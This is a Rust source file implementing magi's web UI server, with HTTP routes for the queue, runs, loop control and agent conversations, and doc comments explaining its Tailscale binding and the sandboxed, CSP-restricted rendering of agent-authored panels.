Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # A conversation turn is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one talk are refused rather
68//! than queued - see [`Ui::begin_talk_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{self, Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::notices::{Notice, Notices};
121use crate::proc::Quiet as _;
122use crate::queue::{Queue, Task, title_from};
123use crate::run::{RunState, RunStatus};
124use crate::talk::{Talk, Talks};
125use crate::{daemon, git, report, repos, run, stats, talk, updater};
126
127/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
128pub const DEFAULT_PORT: u16 = 7878;
129
130/// How often the change stream restats the queue and the runs directory.
131const POLL: Duration = Duration::from_secs(1);
132
133/// Keep-alive interval for the change stream. Phones and intermediaries drop
134/// an idle connection within a minute; a comment every fifteen seconds keeps
135/// the stream alive without waking the radio often enough to matter.
136const KEEPALIVE: Duration = Duration::from_secs(15);
137
138/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
139///
140/// A fixed period this long would not track a `[update] interval` shorter
141/// than itself: an operator who set `interval = "1m"` to make the deck
142/// notice a release within a minute would still wait up to fifteen of them
143/// for the next wake-up to even ask [`updater::Checker::should_check`].
144/// [`recheck_poll_period`] scales the sleep with the configured interval
145/// instead, and this is only its ceiling - reached at the default interval
146/// of a day, where waking any more often would just spend cycles asking a
147/// question that stays "no" for hours.
148const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
149
150/// Floor on the same, so a very short `[update] interval` cannot spin
151/// [`run_update_recheck`] in a near-busy loop.
152const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
153
154/// Runs returned when the client does not ask, and the ceiling if it asks for
155/// more. The cap exists because the list handler parses every `run.json` it
156/// returns, and a phone cannot render two thousand rows anyway.
157const LIST_DEFAULT: usize = 50;
158/// Upper bound for `?limit=`.
159const LIST_MAX: usize = 500;
160
161/// Width of a generated task title, matching what the CLI uses.
162const TITLE_MAX: usize = 72;
163
164/// Per-file cap for an attachment upload.
165///
166/// Enforced twice: axum's own body limit is raised one byte above this, only
167/// on the two attachment `POST` routes (see the router - every other route
168/// keeps the crate-wide default), so an oversize body is still read far
169/// enough to answer with our own message below rather than axum's generic
170/// one; this constant is what that message and the boundary check actually
171/// compare against.
172const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
173
174/// The image types an attachment upload accepts - a closed whitelist, the
175/// same posture [`asset_content_type`] takes for panel assets and for the
176/// same reason: SVG is excluded on purpose because it is active content
177/// (it may carry `<script>`) and not merely a picture, so it never appears
178/// here even though `image/svg+xml` is a real IANA type.
179const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
180
181/// Header carrying the operator's own filename. Free text, stored only for
182/// display - see [`talk::Attachment::name`]'s doc on why it never
183/// contributes to a path.
184const FILENAME_HEADER: &str = "x-filename";
185
186/// The header that makes serving agent-authored HTML defensible, sent by both
187/// panel routes and asserted verbatim by a test.
188///
189/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
190/// denies every fetch destination that is not re-allowed below, which is all of
191/// them except images and fonts; `img-src 'self' data:` means an image comes
192/// from magi's own asset route or from the document itself, so a panel cannot
193/// signal an outside server by pointing an `<img>` at it - the classic
194/// exfiltration channel for markup that cannot run script. `style-src
195/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
196/// free formatting means here and a style sheet cannot make a request that
197/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
198/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
199/// stops a form posting the owner's decision to a third party, and
200/// `frame-ancestors 'self'` stops another site framing the panel to phish with
201/// it.
202///
203/// There is deliberately no `script-src`: `default-src 'none'` already covers
204/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
205/// denied twice over. Weakening any directive here is the difference between a
206/// panel the owner reads and a page that can talk to the tailnet, which is why
207/// the test compares the whole string rather than looking for a substring.
208const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
209                         font-src data:; base-uri 'none'; form-action 'none'; \
210                         frame-ancestors 'self'";
211
212const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
213const APP_CSS: &str = include_str!("../assets/ui/app.css");
214const APP_JS: &str = include_str!("../assets/ui/app.js");
215
216/// Which address to listen on.
217#[derive(Debug, Clone, Copy, PartialEq, Eq)]
218pub enum Bind {
219    /// Ask Tailscale, and fall back to loopback with a warning.
220    Auto,
221    /// An address the operator named.
222    Addr(IpAddr),
223}
224
225impl std::str::FromStr for Bind {
226    type Err = String;
227
228    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
229    /// the CLI can take `--bind` straight into it: the one spelling of
230    /// `auto` that matters is the one this function knows.
231    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
232        if s.eq_ignore_ascii_case("auto") {
233            return Ok(Self::Auto);
234        }
235        s.parse()
236            .map(Self::Addr)
237            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
238    }
239}
240
241impl std::fmt::Display for Bind {
242    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
243        match self {
244            Self::Auto => f.write_str("auto"),
245            Self::Addr(addr) => write!(f, "{addr}"),
246        }
247    }
248}
249
250/// How to serve.
251#[derive(Debug, Clone)]
252pub struct Opts {
253    /// Address to listen on.
254    pub bind: Bind,
255    /// Port to listen on.
256    pub port: u16,
257    /// Repository used for tasks posted without one.
258    pub repo: PathBuf,
259    /// Print the URL on its own line for a caller that wants to hand it to a
260    /// browser. magi never launches one itself.
261    pub open: bool,
262    /// Merge mode override for the loop this process runs (`none`, `local`,
263    /// `pr`); `None` leaves it to each repository's own config.
264    ///
265    /// The same override `magi serve --merge` takes, and here for the same
266    /// reason: `magi web` is now the thing that runs the loop, so an operator
267    /// who wants this session's runs to open pull requests has to be able to
268    /// say so without going back to the command they no longer type.
269    pub merge: Option<String>,
270}
271
272impl Default for Opts {
273    fn default() -> Self {
274        Self {
275            bind: Bind::Auto,
276            port: DEFAULT_PORT,
277            repo: PathBuf::from("."),
278            open: false,
279            merge: None,
280        }
281    }
282}
283
284/// Everything the handlers touch.
285///
286/// The queue, the runs directory and the magi home are fields rather than
287/// process-global lookups so a test drives the real router against a temp
288/// directory instead of the operator's own history.
289#[derive(Debug, Clone)]
290pub struct Ui {
291    queue: Queue,
292    questions: Questions,
293    /// `<home>/notifications`, the bell's own store. Derived from `home` in
294    /// [`Ui::new`] so no constructor signature had to grow.
295    notices: Notices,
296    talks: Talks,
297    runs: PathBuf,
298    home: PathBuf,
299    repo: PathBuf,
300    /// Where the runs' worktrees live, for the health disk figures.
301    ///
302    /// Spelled independently of [`crate::run::default_worktree_root`] so the
303    /// test servers can point it at their own temp directory: the health route
304    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
305    /// be measuring the machine instead of the server.
306    worktrees_root: PathBuf,
307    /// Talks with an agent turn in flight right now.
308    ///
309    /// In-process and therefore not durable, which is correct: it guards
310    /// against two taps on one phone and two phones on one tailnet, both of
311    /// which are this process's own concurrency. A second `magi web` would not
312    /// see it, and a second `magi web` on the same home is already a
313    /// misconfiguration the queue's claims would catch first.
314    talk_turns: Arc<Mutex<TalkTurns>>,
315    /// Runs this process is resuming right now.
316    ///
317    /// Separate from `talk_turns` because a run and a talk are different
318    /// things to hold, and a resume is far more expensive to start twice: it
319    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
320    /// guards two taps and two phones, which is this process's own
321    /// concurrency.
322    resuming: Arc<Mutex<HashSet<String>>>,
323    /// The last scan of `[repos] roots`, and when it happened. Shared across
324    /// requests so polling `GET /api/repos` repeatedly does not repeat the
325    /// filesystem walk every time - see [`repos::Cache`].
326    repos_cache: repos::Cache,
327    /// Merge mode override handed to the loop this process starts.
328    merge: Option<String>,
329    /// The loop this process is running, if it is running one.
330    looping: Arc<Mutex<LoopState>>,
331    /// How a loop is actually started.
332    ///
333    /// A field rather than a direct call to [`daemon::serve_until`], because
334    /// the real loop resolves its queue and its status file through the
335    /// process-global magi home and claims whatever it finds there. A test
336    /// that started it would reach straight past its own temp directory into
337    /// the operator's live queue, overwrite the status file of the `magi
338    /// serve` that owns it, and spend real agent quota on a real competition.
339    /// What the routes have to get right is the bookkeeping, so the tests
340    /// drive the routes against a loop that only starts and stops; production
341    /// is [`launch_daemon`] and nothing reassigns it.
342    launch: Launch,
343    /// A test-only stop point inside `talk_say`'s busy branch. See
344    /// [`BusyQueueGate`].
345    #[cfg(test)]
346    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
347}
348
349/// A one-shot stop point the busy branch's queued-draft write can be made to
350/// pause at, right before [`talk::queue`] runs.
351///
352/// Exists because a test cannot otherwise pin *when*, relative to the turn
353/// slot being freed, that write happens: `blocking` runs it on
354/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
355/// already finished, so counting polls on the handler future to park it at a
356/// particular `.await` is a guess about scheduling, not a fact about it - see
357/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
358/// used to do exactly that and paid for it with an occasional "async fn
359/// resumed after completion" panic under load.
360///
361/// `reached` fires the instant the write is about to run, so a test waits for
362/// a real event instead of a poll count. `release` then blocks the write
363/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
364/// rather than an async channel because this all happens inside the
365/// `spawn_blocking` closure the write already runs on, off any runtime
366/// worker, so blocking here costs nothing the write was not already going to
367/// cost.
368#[cfg(test)]
369struct BusyQueueGate {
370    reached: tokio::sync::oneshot::Sender<()>,
371    release: std::sync::mpsc::Receiver<()>,
372}
373
374#[cfg(test)]
375impl std::fmt::Debug for BusyQueueGate {
376    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
377        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
378    }
379}
380
381impl Ui {
382    /// A server over explicit paths.
383    pub fn new(
384        queue: Queue,
385        questions: Questions,
386        talks: Talks,
387        runs: PathBuf,
388        home: PathBuf,
389        repo: PathBuf,
390    ) -> Self {
391        Self {
392            queue,
393            questions,
394            notices: Notices::at(home.join("notifications")),
395            talks,
396            runs,
397            home,
398            repo,
399            // The default location, overridden by `with_worktrees_root` - a
400            // builder step rather than a ninth parameter, for the reason
401            // `with_merge` gives.
402            worktrees_root: run::default_worktree_root(),
403            talk_turns: Arc::default(),
404            resuming: Arc::default(),
405            repos_cache: repos::Cache::new(),
406            merge: None,
407            looping: Arc::default(),
408            launch: launch_daemon,
409            #[cfg(test)]
410            busy_queue_gate: Arc::default(),
411        }
412    }
413
414    /// The operator's own state: `<home>/queue`, `<home>/questions`,
415    /// `<home>/talks`, `<home>/runs`.
416    pub fn open(repo: PathBuf) -> Self {
417        Self::new(
418            Queue::open(),
419            Questions::open(),
420            Talks::open(),
421            run::runs_root(),
422            run::home(),
423            repo,
424        )
425    }
426
427    /// The merge mode the loop should use, as the command line gave it.
428    ///
429    /// A builder step rather than a seventh parameter on [`Ui::new`], because
430    /// the override is a property of how this process was invoked and not of
431    /// where its state lives - which is all the tests that build a `Ui` by
432    /// hand are saying.
433    #[must_use]
434    pub fn with_merge(mut self, merge: Option<String>) -> Self {
435        self.merge = merge;
436        self
437    }
438
439    /// Where the runs' worktrees live, when it is not the default.
440    ///
441    /// The health view sizes this directory, so a test that leaves it at the
442    /// default would be measuring the operator's own machine.
443    #[must_use]
444    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
445        self.worktrees_root = root;
446        self
447    }
448
449    /// Point the loop at something other than [`launch_daemon`].
450    ///
451    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
452    /// this crate may start the real loop.
453    #[cfg(test)]
454    #[must_use]
455    fn with_launch(mut self, launch: Launch) -> Self {
456        self.launch = launch;
457        self
458    }
459
460    /// Install a [`BusyQueueGate`] for the next pass through the busy
461    /// branch's queued-draft write, replacing any earlier one.
462    ///
463    /// A setter on `&self` rather than a `with_*` builder consumed once,
464    /// because a test that drives the busy branch more than once (as
465    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
466    /// to build confidence the interleaving is handled deterministically and
467    /// not just on a lucky run) needs a fresh channel pair each time, on the
468    /// one `Ui` it already built its temp directories around.
469    #[cfg(test)]
470    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
471        *self
472            .busy_queue_gate
473            .lock()
474            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
475    }
476
477    /// The loop's state, for [`serve`]'s own way out.
478    fn looping(&self) -> Arc<Mutex<LoopState>> {
479        Arc::clone(&self.looping)
480    }
481
482    /// Start the loop in this process, or say who already has one.
483    ///
484    /// `foreign` is passed in rather than read here so that one request makes
485    /// one judgement about who owns the loop: reading the status file again
486    /// inside this function could refuse a start for a daemon the same
487    /// response then reports as gone.
488    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
489        if let Some(other) = foreign {
490            return Err(ApiError::conflict(format!(
491                "{} is already running the loop, so this one will not start a \
492                 second: two loops on one queue race for the same claims and \
493                 burn the agent quota twice over. Stop it where it was \
494                 started.",
495                other.who()
496            )));
497        }
498        let mut state = self.lock_loop();
499        if state.live.as_ref().is_some_and(Live::alive) {
500            return Err(ApiError::conflict(format!(
501                "this magi web process (pid {}) is already running the loop",
502                std::process::id()
503            )));
504        }
505
506        let stop = daemon::Stop::new();
507        // The CLI's own defaults for everything the UI has no opinion about:
508        // one poll interval and one retry budget, so a loop started from a
509        // phone behaves exactly like the `magi serve` it replaces.
510        let opts = daemon::Opts {
511            repo: self.repo.clone(),
512            merge: self.merge.clone(),
513            // Whatever this `Ui` already reports worktree sizes and folds
514            // against (see `with_worktrees_root`) is what the loop it starts
515            // must reclaim orphaned worktrees under too - two different
516            // opinions about where the worktree bay is would leave the
517            // janitor pass reclaiming a directory nothing else on this
518            // process is even looking at.
519            worktrees_root: Some(self.worktrees_root.clone()),
520            ..daemon::Opts::default()
521        };
522        let launch = self.launch;
523        let looping = Arc::clone(&self.looping);
524        let handle = tokio::spawn({
525            let opts = opts.clone();
526            let stop = stop.clone();
527            async move {
528                let failure = match launch(opts, stop).await {
529                    Ok(()) => None,
530                    Err(e) => Some(format!("{e:#}")),
531                };
532                match &failure {
533                    Some(why) => tracing::error!("the loop stopped: {why}"),
534                    None => tracing::info!("the loop stopped"),
535                }
536                // Recorded by the task itself rather than reaped by whichever
537                // request happens next, so `loop_rev` moves the moment the
538                // loop ends and a phone with the change stream open learns
539                // that it did. Clearing `live` drops this task's own handle,
540                // which only detaches it, and is the last thing it does.
541                let mut state = lock_or_recover(&looping);
542                state.live = None;
543                state.last_error = failure;
544                state.rev += 1;
545            }
546        });
547        tracing::info!(
548            "the loop is now running in this process: repo {}, merge {}",
549            opts.repo.display(),
550            opts.merge.as_deref().unwrap_or("as the config says")
551        );
552        state.live = Some(Live { stop, handle, opts });
553        // A fresh start is not the place to keep showing why the last one
554        // died; the operator has read it and pressed the button anyway.
555        state.last_error = None;
556        state.rev += 1;
557        Ok(())
558    }
559
560    /// Ask the loop to stop, without waiting for it to get there.
561    ///
562    /// Idempotent: a second tap on stop is not an error, because the first one
563    /// leaves the loop running for as long as the run in flight takes and the
564    /// operator has no way to tell a slow stop from a lost one.
565    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
566        if let Some(other) = foreign {
567            return Err(ApiError::conflict(format!(
568                "the loop belongs to {}, and this process cannot stop it - \
569                 stop it where it was started. A button that silently did \
570                 nothing would be worse than this refusal.",
571                other.who()
572            )));
573        }
574        let mut state = self.lock_loop();
575        // An operator who stops the loop has decided it stays stopped, even
576        // across an upgrade that was already in flight.
577        if !park {
578            state.resume_after_handover = false;
579        }
580        let Some(live) = state.live.as_ref() else {
581            return Ok(());
582        };
583        // A park upgrades a stop that has already been asked for: the
584        // operator who tapped "stop" and then realised the run has an hour
585        // left must not have to restart the loop to change their mind.
586        if live.stop.stopped() && (!park || live.stop.parking()) {
587            return Ok(());
588        }
589        if park {
590            live.stop.park();
591            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
592        } else {
593            live.stop.stop();
594            tracing::info!("the loop was asked to stop; a run in flight is finished first");
595        }
596        state.rev += 1;
597        Ok(())
598    }
599
600    /// The loop as both `/api/loop` and `/api/health` report it.
601    ///
602    /// `reading` is the caller's single read of `<home>/daemon.json`, because
603    /// health answers with this view *and* the daemon object beside it: one
604    /// read per response is what stops a single answer naming a foreign owner
605    /// in one field and calling the loop free in the other.
606    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
607        let state = self.lock_loop();
608        // A loop that panicked never recorded its own end, so the handle -
609        // not the presence of the record - is what "running" means.
610        let live = state.live.as_ref().filter(|live| live.alive());
611        LoopView {
612            running: live.is_some(),
613            stopping: live.is_some_and(|live| live.stop.finishing()),
614            parking: live.is_some_and(|live| live.stop.parking()),
615            owned: live.is_some(),
616            repo: live
617                .map_or(&self.repo, |live| &live.opts.repo)
618                .display()
619                .to_string(),
620            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
621            last_error: state.last_error.clone(),
622            daemon: DaemonView::of(reading),
623        }
624    }
625
626    /// Start the loop in a successor whose predecessor was running one.
627    ///
628    /// Goes through the same path as the UI's start-loop action. A refusal
629    /// (another process owns the loop) is logged and left in `last_error`;
630    /// the loop then simply stays stopped.
631    fn resume_after_handover(&self, resume: bool) -> bool {
632        if !resume {
633            return false;
634        }
635        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
636        match self.start_loop(foreign) {
637            Ok(()) => true,
638            Err(e) => {
639                let why = format!(
640                    "the loop could not be resumed after the upgrade: {}",
641                    e.message
642                );
643                tracing::warn!("{why}");
644                let mut state = self.lock_loop();
645                state.last_error = Some(why);
646                state.rev += 1;
647                false
648            }
649        }
650    }
651
652    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
653    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
654        lock_or_recover(&self.looping)
655    }
656
657    /// Whether this process currently owns the agent turn for `id`.
658    ///
659    /// This deliberately describes only the in-memory claim made by
660    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
661    /// never persisted with a [`Talk`].
662    fn is_thinking(&self, id: &str) -> bool {
663        self.talk_turns
664            .lock()
665            .is_ok_and(|turns| turns.live.contains(id))
666    }
667
668    /// Claim the right to run one turn in a talk, or report that it is busy.
669    ///
670    /// A talk is strictly turn-based: the agent is resumed with the
671    /// conversation it already has, so two turns running at once would resume
672    /// the same session twice and append their answers in whatever order the
673    /// two CLIs finished in. The operator would come back to a transcript
674    /// with two half-turns interleaved, which is unreadable and, worse,
675    /// unfixable - there is no undo for a persisted turn.
676    ///
677    /// A busy result is queued as a durable draft by [`talk_say`], rather than
678    /// starting a second CLI invocation for the same session.
679    ///
680    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
681    /// taken to test-and-insert and released before the agent is spawned. The
682    /// returned guard removes the id on drop, which is what makes a panicking
683    /// handler or a phone that walks out of range leave the talk usable - axum
684    /// drops the handler future when the client disconnects, and without the
685    /// guard that talk would be wedged until the server restarted.
686    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
687        self.claim_talk_turn(id, false)
688    }
689
690    /// Claim a turn after durably queueing a draft, or notify its current
691    /// owner that a drainer must recheck before it releases the slot.
692    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
693        self.claim_talk_turn(id, true)
694    }
695
696    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
697        let mut live = self
698            .talk_turns
699            .lock()
700            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
701        if !live.live.insert(id.to_owned()) {
702            if queued {
703                // A queued write has landed before this busy check.
704                // `drain_loop` uses this generation to recheck after its
705                // off-thread disk read, so it cannot release a turn between
706                // this check and the write.
707                *live.queued.entry(id.to_owned()).or_default() += 1;
708            }
709            return Ok(None);
710        }
711        Ok(Some(TalkTurnGuard {
712            talk: id.to_owned(),
713            turns: Arc::clone(&self.talk_turns),
714            released: false,
715        }))
716    }
717
718    /// Decide whether a free talk may start a new immediate turn while its
719    /// claim lock is held. A persisted draft without an owner is recovery
720    /// state, not a busy turn: two simultaneous `/say` requests must both
721    /// leave it untouched rather than one of them appending to it.
722    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
723        let mut live = self
724            .talk_turns
725            .lock()
726            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
727        if live.live.contains(id) {
728            return Ok(TalkTurnStart::Busy);
729        }
730        let talk = self.talks.get(id).map_err(ApiError::from)?;
731        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
732            return Ok(TalkTurnStart::Pending);
733        }
734        live.live.insert(id.to_owned());
735        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
736            talk: id.to_owned(),
737            turns: Arc::clone(&self.talk_turns),
738            released: false,
739        }))
740    }
741
742    /// Park the loop for an upgrade, and report the run that is parking.
743    ///
744    /// A park rather than a stop: a stop waits out the whole competition, and
745    /// not waiting is the point of upgrading from a phone. `None` means
746    /// nothing was in flight, which is worth saying so the operator is not
747    /// told a run is parking when none is.
748    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
749        let parking = {
750            let mut state = self.lock_loop();
751            // Decided here, before the park: by the time the handover fires
752            // an idle loop has already seen the park and ended, so `live`
753            // would read as "was never running". A loop the operator had
754            // already stopped stays stopped.
755            //
756            // Sticky: a second upgrade request finds the loop already
757            // stopping because of the first one's park, and must not read
758            // that as the operator having stopped it. Only an explicit stop
759            // or a failed update clears an earlier intent.
760            let resume = state.resume_after_handover
761                || state
762                    .live
763                    .as_ref()
764                    .is_some_and(|live| live.alive() && !live.stop.stopped());
765            state.resume_after_handover = resume;
766            let Some(live) = state.live.as_ref() else {
767                return Ok(None);
768            };
769            let busy = live.stop.busy_now();
770            live.stop.park();
771            state.rev += 1;
772            busy
773        };
774        Ok(if parking {
775            // More than one run can be in flight now (see
776            // `Config::daemon.max_concurrent_runs`); this answer names one of
777            // them so the operator sees a park actually happened, not every
778            // run a park now asks to stop at its next boundary.
779            daemon::current_work(&self.home, jiff::Timestamp::now())
780                .into_iter()
781                .next()
782                .map(|c| c.run)
783        } else {
784            None
785        })
786    }
787
788    /// Claim a run for a resume, on the same reasoning as
789    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
790    /// disconnected phone does not wedge the run until the server restarts.
791    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
792        let mut live = self
793            .resuming
794            .lock()
795            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
796        if !live.insert(id.to_owned()) {
797            return Err(ApiError::conflict(format!(
798                "run {id} is already being resumed"
799            )));
800        }
801        Ok(ResumeGuard {
802            run: id.to_owned(),
803            resuming: Arc::clone(&self.resuming),
804        })
805    }
806
807    /// The router, with this state baked in.
808    ///
809    /// The three front-end files get one explicit route each rather than a
810    /// path parameter, so there is no traversal surface to get wrong: the set
811    /// of servable paths is the set written here. The asset route below is the
812    /// one exception and the only place in this server where a client names a
813    /// file; it is why [`valid_asset_name`] is checked before a path is built.
814    pub fn router(self) -> Router {
815        Router::new()
816            .route("/", get(index))
817            .route("/app.css", get(app_css))
818            .route("/app.js", get(app_js))
819            .route("/api/health", get(health))
820            .route("/api/loop", get(loop_get).post(loop_post))
821            .route("/api/upgrade", post(upgrade_post))
822            .route("/api/runs", get(runs_list))
823            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
824            .route("/api/runs/{id}/report", get(run_report))
825            .route("/api/runs/{id}/fold", post(run_fold))
826            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
827            .route("/api/runs/{id}/resume", post(run_resume))
828            .route("/api/queue", get(queue_list))
829            .route("/api/stats", get(stats_get))
830            .route("/api/queue/{id}", delete(queue_delete))
831            .route("/api/repos", get(repos_list))
832            .route("/api/queue/{id}/hold", post(queue_hold))
833            .route("/api/queue/{id}/release", post(queue_release))
834            .route("/api/queue/{id}/priority", post(queue_priority))
835            .route("/api/queue/{id}/edit", post(queue_edit))
836            .route("/api/queue/{id}/done", post(queue_done))
837            .route("/api/questions", get(questions_list))
838            .route("/api/questions/{id}/answer", post(question_answer))
839            .route("/api/questions/{id}/say", post(question_say))
840            .route("/api/questions/{id}/panel", get(question_panel))
841            // The same asset, reachable from inside the panel by its bare
842            // filename. A document served at `.../panel` resolves `shot.png`
843            // to `.../shot.png`, which is not the asset route, so a panel
844            // written the way its author was told to write it showed broken
845            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
846            // it - deliberately - so the fix is that the panel's own URL ends
847            // in a filename and its siblings are the assets.
848            .route("/api/questions/{id}/panel/index.html", get(question_panel))
849            .route("/api/questions/{id}/panel/{name}", get(question_asset))
850            .route("/api/questions/{id}/asset/{name}", get(question_asset))
851            .route("/api/notifications", get(notifications_list))
852            .route("/api/notifications/read-all", post(notifications_read_all))
853            .route("/api/notifications/{id}/read", post(notification_read))
854            .route(
855                "/api/notifications/{id}/dismiss",
856                post(notification_dismiss),
857            )
858            .route("/api/talks", get(talks_list).post(talk_post))
859            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
